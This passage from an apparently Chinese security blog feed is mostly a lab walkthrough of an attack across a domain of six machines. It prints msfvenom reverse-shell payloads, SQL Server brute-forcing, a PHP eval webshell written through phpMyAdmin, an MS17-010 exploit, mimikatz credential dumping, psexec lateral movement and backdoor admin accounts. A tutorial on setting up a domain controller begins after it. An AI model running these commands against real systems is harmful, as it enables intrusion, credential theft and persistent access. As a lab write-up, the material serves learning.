&lt;p&gt;6号
账号：Administrator
密码：Edvison233!&lt;/p&gt;

&lt;p&gt;ip：192.168.141.116&lt;/p&gt;

&lt;h1 id=&quot;b组攻击组&quot;&gt;B组(攻击组)&lt;/h1&gt;
&lt;h1 id=&quot;使用kali拿下二号机&quot;&gt;使用kali拿下二号机&lt;/h1&gt;
&lt;p&gt;通过MobaXterm连接Kali Linux(ip:192.168.141.143)，用户名:root，密码:toor
&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-b086c475865a0199.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;使用下述命令，执行，生成木马文件:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=192.168.141.143 LPORT=4444 -f exe &amp;gt; ./test.exe
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-a0be7e99c5810789.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;生成了test.exe之后，然后在kali里，设定端口监听，等待目标上线&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;msfconsole -x &quot;use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp;show options; set LHOST 192.168.141.143;set LPORT 4444; run&quot;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-29d723f0db0c5d74.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;在2号机上右击，以管理员权限执行。kali就可以接收到反弹回来的shell。对shell进行操作。&lt;/p&gt;

&lt;p&gt;在kali里接收到了shell，可在meterpreter中管理shell，开启3389
&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-32d92423d0257169.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;在kali里接收到了shell，可在meterpreter中管理shell，开启3389&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;run post/windows/manage/enable_rdp
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;添加用户&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;run post/windows/manage/enable_rdp username=&quot;Waldo1111test&quot; password=&quot;123456hhhh.&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-14444c8328c1c660.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;然后在服务器主机中，用新添加的账号，远程桌面连接2号机，至此完成了对2号机的控制
&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-d9b4333b9e525239.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;2号机到6号机&quot;&gt;2号机到6号机&lt;/h1&gt;

&lt;p&gt;使用nmap扫描发现192.168.141.116开了1433端口&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nmap -p1433 --open 192.168.141.0/24
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-c74ebec3543f5fb1.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;使用ms-sql-brute模块对6号机sa账户进行爆破，获得用户名为sa，密码为123456&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nmap -p 1433 --script ms-sql-brute --script-args userdb=C:\Users\Waldo1111test\Desktop\name.txt,passdb=C:\Users\Waldo1111test\Desktop\password.txt 192.168.141.116
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-db76ffd349bd787d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;使用sqltools获取6号机数据库
&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-f1b301d4d8da3f92.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;用xp_cmdshell关闭防火墙限制&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;netsh firewall set opmode mode=disable
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-c69de91fa4c1c6ea.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;添加3389入站规则&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;netsh advfirewall firewall add rule name=&quot;Remote Desktop&quot; protocol=TCP dir=in localport=3389 action=allow
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-9b625c32f5af2580.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;创建管理员用户Waldo6TEST&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;net user Waldo6TEST 1234567hhhh. /add
net localgroup administrators Waldo6TEST /add
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-9c11df737ce6d622.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-b84e1a5c7de2d07e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;使用用户名Wado6TEST 密码1234567hhhh.成功登陆六号机
&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-22a9c656fe6fcb0e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;6号机到5号机&quot;&gt;6号机到5号机&lt;/h1&gt;

&lt;p&gt;发现5号机开放80端口&lt;/p&gt;

&lt;p&gt;输入://192.168.141.115/phpmyadmin/，弱口令 用户名root 密码root&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-c54337230756a51e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;尝试写入webshell&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-209b387b9c227d1d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;use mysql;
CREATE TABLE `mysql`.`d0g3` (`sn00py` TEXT NOT NULL );
INSERT INTO `mysql`.`d0g3` (`sn00py`)VALUES ('&amp;lt;?php @eval($_POST[c]);?&amp;gt;');
SELECT sn00py FROM d0g3 INTO OUTFILE 'C:/pentest/phpstudy/WWW/shell.php';
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Shell写到了：&lt;code class=&quot;highlighter-rouge&quot;&gt;http://192.168.141.115/shell.php&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;使用菜刀连接&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-48b61f88ab4df483.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;执行命令whoami，发现是administrator权限&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://upload-images.jianshu.io/upload_images/7216746-5199c69e4edc4117.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;加管理员用户&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;net user Waldo 1234567hhhh. /add
net localgroup administrators Waldo /add
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;打开5号机3389端口:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal&quot; &quot;Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;http://upload-images.jianshu.io/upload_images/7216746-cd109ed3b2cb64ec.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;连接到远程桌面&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://upload-images.jianshu.io/upload_images/7216746-cfa7ab7767b254ed.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;5号机到4号机&quot;&gt;5号机到4号机&lt;/h1&gt;

&lt;p&gt;在5号机上传ms17010攻击脚本，用kali攻击机生成一个payload&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.141.143 lport=6666 -f exe -o shell.exe
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;开启msf监听&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;msfconsole -q
use exploit/multi/handler
set lhost 0.0.0.0
set lport 6666
exploit
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;在5号机中cmd中&lt;code class=&quot;highlighter-rouge&quot;&gt;C:\Users\Waldo\MS17-010-master&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;在5号机上，运行ms170101攻击脚本(脚本要自己下载)&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;python zzz_exploit.py 192.168.141.114
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-d6aab1708ad3b226.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-9fb6bed11323cfc2.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;在kali里接收到了shell，可在meterpreter中管理shell，开启3389&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;run post/windows/manage/enable_rdp
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;添加用户&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;run post/windows/manage/enable_rdp username=&quot;Waldo1111test&quot; password=&quot;123456hhhh.&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;在5号机远程登录4号机
&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-034a5d11784abeb2.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;4号机到3号机&quot;&gt;4号机到3号机&lt;/h1&gt;
&lt;p&gt;在4号机中抓取hash&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;privilege::debug
sekurlsa::logonpasswords
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;抓到域控管理员账号和密码:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-f6673d3c8583c11f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;在4号机上，使用以下命令建立IPC$连接&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;net use \\192.168.141.100 &quot;hb123456,./$&quot; /user:&quot;Administrator&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-86ef926cdf0fdbef.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;在4号机上，使用以下命令，将目标靶机的C盘映射到本地Z盘&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;net use z: \\192.168.141.100\c$
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-6a5dc8f61e967a6d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-636800654a0f0f65.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;使用copy命令将先前生成的shell.exe拷贝至靶机C盘&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;copy shell.exe \\192.168.141.100\c$
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-558122d828737285.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;在kali上开启监听(6666端口)，使用&lt;strong&gt;psesec.exe&lt;/strong&gt;.启动靶机上的shell.exe&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;psexec.exe \\192.168.141.100 -u administrator -p hb123456,./$ c:\\shell.exe
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-a7b6544d85d2e439.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;成功反弹shell上线:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-03a07bfcf85204c9.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;在kali里接收到了shell，可在meterpreter中管理shell，开启3389&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;run post/windows/manage/enable_rdp
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;添加用户&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;run post/windows/manage/enable_rdp username=&quot;Waldo1111test&quot; password=&quot;123456hhhh.&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-2805ed3391b9c38d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;在4号机远程登录3号机
用户名:hiro\Administrator 密码:hb123456,./$&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-05026fcb32a908a3.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;3号机到1号机&quot;&gt;3号机到1号机&lt;/h1&gt;

&lt;p&gt;在3号机上，使用以下命令建立IPC$连接&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;net use \\192.168.141.111 &quot;hb123456,./$&quot; /user:&quot;Administrator&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-9c18515bc42014f6.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;在3号机上，使用以下命令，将目标靶机的C盘映射到本地Z盘&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;net use z: \\192.168.141.111\c$
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-61aa26bbec803796.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-ff6a28d9bd35464f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;使用copy命令将先前生成的shell.exe拷贝至靶机C盘&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;copy shell.exe \\192.168.141.111\c$
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-96e53ba1fe9afbad.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-4d7c5d6618b8973e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;在kali上开启监听(6666端口)，使用psexec.exe.启动靶机上的shell.exe&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;psexec.exe \\192.168.141.111 -u hiro\Administrator -p hb123456,./$ c:\\shell.exe
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-ad42da32db35d329.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;成功获取shell&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-528460880f398671.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;打开一号机3389&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-9825f280dc8352be.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;使用用户名:hiro\Administrator 密码: hb123456,./$登录&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-f44a435c1f05c2ff.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;成功拿下一号机！&lt;/p&gt;
</description>
        <pubDate>Mon, 12 Nov 2018 00:00:00 +0000</pubDate>
        <link>http://WaIdo.github.io/2018/11/12/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F(%E5%AE%9E%E9%AA%8C)%E4%B9%8B%E5%9F%9F%E6%B8%97%E9%80%8F%E6%B7%B1%E5%85%A5%E5%BC%B9shell%E5%BC%803389%E6%8B%BF%E5%9F%9F%E6%8E%A7/</link>
        <guid isPermaLink="true">http://WaIdo.github.io/2018/11/12/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F(%E5%AE%9E%E9%AA%8C)%E4%B9%8B%E5%9F%9F%E6%B8%97%E9%80%8F%E6%B7%B1%E5%85%A5%E5%BC%B9shell%E5%BC%803389%E6%8B%BF%E5%9F%9F%E6%8E%A7/</guid>
        
        <category>内网渗透</category>
        
        
      </item>
    
      <item>
        <title>配置Windows Server 2012域控环境,抓取域控和域用户hash</title>
        <description>&lt;h1 id=&quot;主要任务&quot;&gt;主要任务&lt;/h1&gt;
&lt;p&gt;配置Windows Server 2012域控环境以及域用户的登录脚本和退出脚本，并抓取域控和域用户的hash&lt;/p&gt;

&lt;h1 id=&quot;搭建域控环境&quot;&gt;搭建域控环境&lt;/h1&gt;
&lt;h2 id=&quot;本地管理员登录&quot;&gt;本地管理员登录&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-a9282e15807d3d32.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;本地管理员登录&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;设置静态ip&quot;&gt;设置静态IP&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-790c97579d0aee5a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;设置静态IP&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;安装active-directory域服务&quot;&gt;安装Active Directory域服务&lt;/h2&gt;
&lt;p&gt;打开服务器管理器-&amp;gt;仪表板-&amp;gt;添加角色和功能-&amp;gt;一直点下一步，直到在服务器角色中选择”Active Directory域服务”-&amp;gt;在添加角色和功能向导中选择添加功能-&amp;gt;一直点“下一步”直到“安装”-&amp;gt;点击“安装”，等待安装完毕&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-4990541a8b85e524.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;添加角色和功能&quot; /&gt;
&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-4e6e1c5843f00164.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;安装Active Directory域服务&quot; /&gt;
&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-d5c52672a2c26e3e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;点击“安装”&quot; /&gt;
&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-a807d711df829a9d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;安装成功&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;将此服务器提升为域控制器&quot;&gt;将此服务器提升为域控制器&lt;/h2&gt;
&lt;p&gt;回到【服务器管理器】界面，单击右上角【小旗子】，选择【将此服务器提升为域控制器】
&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-d2172fa84a2b0550.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;将此服务器提升为域控制器&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;添加新林&quot;&gt;添加新林&lt;/h3&gt;
&lt;p&gt;在上一步弹出的窗口中添加新林，根域名填上域名称
&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-9683df070afe938e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;添加新林&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;设置还原模式密码&quot;&gt;设置还原模式密码&lt;/h3&gt;
&lt;p&gt;请牢记密码，抓取Windows Server 2012 Hash中，某种特别情况下需要用到
&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-5574e07caab00bcd.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;设置还原模式密码&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;域控搭建完毕&quot;&gt;域控搭建完毕&lt;/h2&gt;
&lt;p&gt;一直下一步，安装完成后，系统会自动重启。【服务器管理器】界面左侧已经出现了管理的选项卡。
&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-682f3e288497b890.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;AD DS&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;设置域控的域用户&quot;&gt;设置域控的域用户&lt;/h1&gt;
&lt;p&gt;此处以WinXP专业版作为域用户，家庭版无法添加到域&lt;/p&gt;

&lt;h2 id=&quot;设置域用户静态ip将dns设置为域控的ip&quot;&gt;设置域用户静态IP，将DNS设置为域控的IP&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-0b151bdbfdb93af2.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;设置域用户静态IP，将DNS设置为域控的IP&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;加入域控&quot;&gt;加入域控&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-25b89be450ea8a26.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;加入域控&quot; /&gt;&lt;/p&gt;

&lt;p&gt;在弹出的窗口中，输入域控的用户名和密码
&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-a691ad5d8a5f5e1d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;输入域控的用户名和密码&quot; /&gt;&lt;/p&gt;

&lt;p&gt;在WinXP和WinServer2012，使用net view命令，查看域用户(WinXP)是否加入成功
